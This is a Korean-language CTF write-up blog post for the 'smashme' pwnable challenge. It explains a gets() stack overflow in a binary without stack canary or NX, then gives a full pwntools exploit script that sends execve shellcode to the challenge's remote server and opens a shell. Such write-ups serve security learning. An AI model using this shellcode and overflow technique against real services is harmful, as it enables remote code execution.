# file smashme
smashme: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=29c2093a0eca94730cd7fd861519602b3272a4f7, not stripped
[*] '/ctf/smashme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
static 으로 링크된 64bit 바이너리이다. NX, SSP, PIE 등은 걸려있지 않다.
바이너리는 엄청 단순하다. gets() 를 통한 buffer overflow 라는 것을 바로 알 수 있다.
사용자로부터 입력을받고 sub_400320() 함수를 실행하는데, 실행 시 JUMPOUT(&word_400326); 라는 곳으로 점프한다.
디버깅을 해보면 __strstr_sse2 함수이고, 두 개의 인자를 비교한다. 비교값은 내가 넣은 payload 와 "Smash me outside, how bout dAAAAAAAAAAA" 이라는 문자열을 비교한다.
이러한 문자열을 같이 넣어준다면 정상적으로 v3 값이 어떤 값으로 설정될 것이고 프로그램이 정상적으로 종료된다.
따라서, 이 문자열과 payload 길이를 잘 조절하여 RET 주소를 조작할 수 있다.
# exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 |
from pwn import *
#context.log_level = 'debug'
#binary = ELF('./smashme')
#r = process('./smashme')
r = remote('smashme_omgbabysfirst.quals.shallweplayaga.me', 57348)
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff
\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
rdi = 0x4c4e1b
payload = "\x90"*6 + shellcode + "Smash me outside, how bout dAAAAAAAAAAA" + p64(rdi)
print r.recvuntil('Welcome to the Dr. Phil Show. Wanna smash?')
r.send(payload)
r.interactive() |
cs |
'ctf' 카테고리의 다른 글
[HUST 2017 CTF] pwnable writeup (0) | 2017.06.01 |
---|---|
[DEFCON 2017 CTF] beatmeonthedl (0) | 2017.05.09 |
[pwnable.kr] echo2 (0) | 2017.04.16 |
[pwnable.kr] tiny_easy (0) | 2017.04.07 |
[pwnable.kr] ascii_easy (0) | 2017.04.06 |